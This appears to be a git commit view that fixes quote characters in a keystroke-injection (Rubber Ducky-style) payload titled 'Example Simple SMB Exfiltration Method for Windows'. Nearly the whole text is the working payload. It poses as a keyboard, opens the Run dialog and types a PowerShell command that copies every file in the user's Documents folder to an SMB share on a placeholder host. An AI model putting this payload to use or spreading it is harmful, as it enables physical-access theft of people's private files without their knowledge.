fix quotes
parent
ea1596098f
commit
c538de4f62
|
@ -1 +1,16 @@
|
||||||
REM Example Simple SMB Exfiltration Method for Windows
ATTACKMODE HID
DELAY 2000
DEFINE SMB_SERVER example.com
DEFINE SMB_SHARE sharedfolder
GUI r
DELAY 100
STRING powershell “cp -r $env:USERPROFILE\Documents\* \\
STRING SMB_SERVER
STRING \
STRING SMB_SHARE
STRING “
ENTER
REM This short Powershell one-liner, executed from the Windows Run dialog, will copy all documents (including subfolders) from the currently logged in user account’s documents folder to the defined SMB share.
|
REM Example Simple SMB Exfiltration Method for Windows
|
||||||
|
ATTACKMODE HID
|
||||||
|
DELAY 2000
|
||||||
|
DEFINE SMB_SERVER example.com
|
||||||
|
DEFINE SMB_SHARE sharedfolder
|
||||||
|
GUI r
|
||||||
|
DELAY 100
|
||||||
|
STRING powershell "cp -r $env:USERPROFILE\Documents\* \\
|
||||||
|
STRING SMB_SERVER
|
||||||
|
STRING \
|
||||||
|
STRING SMB_SHARE
|
||||||
|
STRING "
|
||||||
|
ENTER
|
||||||
|
|
||||||
|
|
||||||
|
REM This short Powershell one-liner, executed from the Windows Run dialog, will copy all documents (including subfolders) from the currently logged in user account’s documents folder to the defined SMB share.
|
||||||
|
|
Loading…
Reference in New Issue